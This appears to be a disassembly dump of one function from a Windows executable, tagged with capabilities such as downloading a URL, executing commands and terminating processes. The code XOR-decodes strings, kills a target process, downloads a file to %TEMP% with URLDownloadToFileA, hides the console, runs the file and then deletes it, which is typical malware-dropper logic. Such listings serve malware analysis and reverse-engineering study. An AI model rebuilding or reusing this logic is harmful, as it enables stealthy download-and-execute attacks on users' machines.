Function at 0x140018ce0
Capabilities:
Delete file
Download url
Encode data using xor
Execute command
Query environment variable
Receive data
Terminate process

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
push rbp
lea rbp, [rax - 0x5f]
sub rsp, 0xf0
movaps xmmword [rax - 0x18], xmm6
movaps xmmword [rax - 0x28], xmm7
movaps xmmword [rax - 0x38], xmm8
mov rax, qword [0x1400ab010]
xor rax, rsp
mov qword [rbp + 0x1f], rax
xor esi, esi
call fcn.1400174f0
movsd xmm0, qword [str.OYSSNJ]
movsd qword [rbp - 0x69], xmm0
movzx ecx, word [0x14009e358]
mov word [rbp - 0x61], cx
movzx eax, byte [0x14009e35a]
mov byte [rbp - 0x69], 0x76
xor byte [rbp - 0x68], 0x3a
xor byte [rbp - 0x67], 0x3b
xor byte [rbp - 0x66], 0x3c
xor byte [rbp - 0x65], 0x3d
xor byte [rbp - 0x64], 0x3e
xor byte [rbp - 0x63], 0x3f
xor byte [rbp - 0x62], 0x40
xor cl, 0x41
mov byte [rbp - 0x61], cl
xor byte [rbp - 0x60], 0x42
xor al, 0x43
mov byte [rbp - 0x5f], al
xorps xmm0, xmm0
movups xmmword [rbp - 0x29], xmm0
mov qword [rbp - 0x19], rsi
mov qword [rbp - 0x11], rsi
lea rax, [rbp - 0x69]
mov rbx, 0xffffffffffffffff
mov r8, rbx
nop dword [rax]
inc r8
cmp byte [rax + r8], sil
jne 0x140018d90
lea rdx, [rbp - 0x69]
lea rcx, [rbp - 0x29]
call fcn.1400105e0
lea rcx, [rbp - 0x29]
call fcn.1400173a0
test eax, eax
je 0x140018e1c
xorps xmm0, xmm0
movups xmmword [rbp - 0x51], xmm0
mov qword [rbp - 0x41], rsi
mov qword [rbp - 0x39], rsi
lea rax, [rbp - 0x69]
mov r8, rbx
nop dword [rax]
inc r8
cmp byte [rax + r8], sil
jne 0x140018dd0
lea rdx, [rbp - 0x69]
lea rcx, [rbp - 0x51]
call fcn.1400105e0
lea rcx, [rbp - 0x51]
call fcn.1400173a0
mov r8d, eax
xor edx, edx
lea ecx, [rdx + 1]
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdi, rax
test rax, rax
je 0x140018e1c
mov edx, 1
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xorps xmm0, xmm0
movups xmmword [rbp - 0x29], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x19], xmm1
lea rax, [rbp - 0x69]
mov r8, rbx
inc r8
cmp byte [rax + r8], sil
jne 0x140018e32
lea rdx, [rbp - 0x69]
lea rcx, [rbp - 0x29]
call fcn.1400105e0
nop
lea rcx, str.TEMP
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll_getenv]
xorps xmm0, xmm0
movups xmmword [rbp - 0x51], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x41], xmm1
inc rbx
cmp byte [rax + rbx], 0
jne 0x140018e65
mov r8, rbx
mov rdx, rax
lea rcx, [rbp - 0x51]
call fcn.1400105e0
nop
lea r9, [rbp - 0x29]
lea r8, [rbp - 0x51]
movzx edx, byte [rbp - 0x59]
lea rcx, [rbp - 1]
call fcn.14001d4a0
nop
mov rdx, qword [rbp - 0x39]
cmp rdx, 0x10
jb 0x140018ed3
inc rdx
mov rcx, qword [rbp - 0x51]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140018ecd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140018ecd
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140020998
nop
mov rdx, qword [rbp - 0x11]
cmp rdx, 0x10
jb 0x140018f11
inc rdx
mov rcx, qword [rbp - 0x29]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140018f0c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140018f0c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140020998
movups xmm0, xmmword [0x14009e400]
movups xmmword [rbp - 0x29], xmm0
movzx eax, word [0x14009e410]
mov word [rbp - 0x19], ax
mov edi, 5
lea r14d, [rdi + 0x1a]
mov ebx, dword [reloc.WS2_32.dll_accept]
cmp byte [0x14009e411], 0
je 0x1400190d0
mov ecx, esi
cmp ebx, 2
jl 0x140019098
movdqa xmm5, xmmword [0x14009eab0]
movdqa xmm4, xmmword [0x14009eb00]
movd xmm6, edi
movdqa xmm7, xmmword [0x14009ead0]
movd xmm8, r14d
movdqa xmm0, xmmword [str.9999999999999999]
movdqa xmmword [rbp - 0x69], xmm0
lea rdx, [rbp - 0x25]
mov r8d, dword [rbp - 0x69]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14009eae0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 4]
xorps xmm2, xmm0
movd dword [rdx - 4], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14009eae0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x10
jl 0x140018f90
cmp ecx, 0x12
jge 0x1400190d0
movsxd rax, ecx
lea r8, [rbp - 0x29]
add r8, rax
mov eax, 0xa0a0a0a1
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x33
movzx eax, cl
sub al, dl
add al, 0x39
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x12
jl 0x1400190a2
lea rdx, [rbp - 0x29]
mov rcx, qword [0x1400865c0]
call fcn.140012900
lea rdx, [0x140012ad0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea r8, [rbp - 1]
movups xmm0, xmmword [0x14009e618]
movups xmm1, xmmword [0x14009e628]
movzx eax, byte [0x14009e638]
movups xmmword [rbp - 0x51], xmm0
movups xmmword [rbp - 0x41], xmm1
mov byte [rbp - 0x31], al
cmp qword [rbp + 0x17], 0x10
jb 0x14001911f
mov r8, qword [rbp - 1]
mov ecx, esi
cmp ebx, 2
jl 0x140019268
movdqa xmm5, xmmword [0x14009eab0]
movdqa xmm4, xmmword [0x14009eb00]
movd xmm6, edi
movdqa xmm7, xmmword [0x14009ead0]
movd xmm8, r14d
movdqa xmm0, xmmword [str.9999999999999999]
movdqa xmmword [rbp - 0x69], xmm0
lea rdx, [rbp - 0x4d]
mov r9d, dword [rbp - 0x69]
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14009eae0]
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 4]
xorps xmm2, xmm0
movd dword [rdx - 4], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14009eae0]
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x20
jl 0x140019160
cmp ecx, 0x21
jge 0x1400192a0
movsxd rax, ecx
lea r9, [rbp - 0x51]
add r9, rax
mov eax, 0xa0a0a0a1
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x33
movzx eax, cl
sub al, dl
add al, 0x39
xor byte [r9], al
inc ecx
lea r9, [r9 + 1]
cmp ecx, 0x21
jl 0x140019272
mov qword [rsp + 0x20], rsi
xor r9d, r9d
lea rdx, [rbp - 0x51]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
lea rcx, [rbp - 1]
cmp qword [rbp + 0x17], 0x10
cmovae rcx, qword [rbp - 1]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rbp - 1]
cmp qword [rbp + 0x17], 0x10
cmovae rcx, qword [rbp - 1]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rcx, [0x14009e2ac]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
mov edx, edi
call qword [sym.imp.USER32.dll_ShowWindow]
nop
mov rdx, qword [rbp + 0x17]
cmp rdx, 0x10
jb 0x140019355
inc rdx
mov rcx, qword [rbp - 1]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140019350
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140019350
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140020998
mov rcx, qword [rbp + 0x1f]
xor rcx, rsp
call fcn.1400206a0
lea r11, [rsp + 0xf0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
mov rsp, r11
pop rbp
ret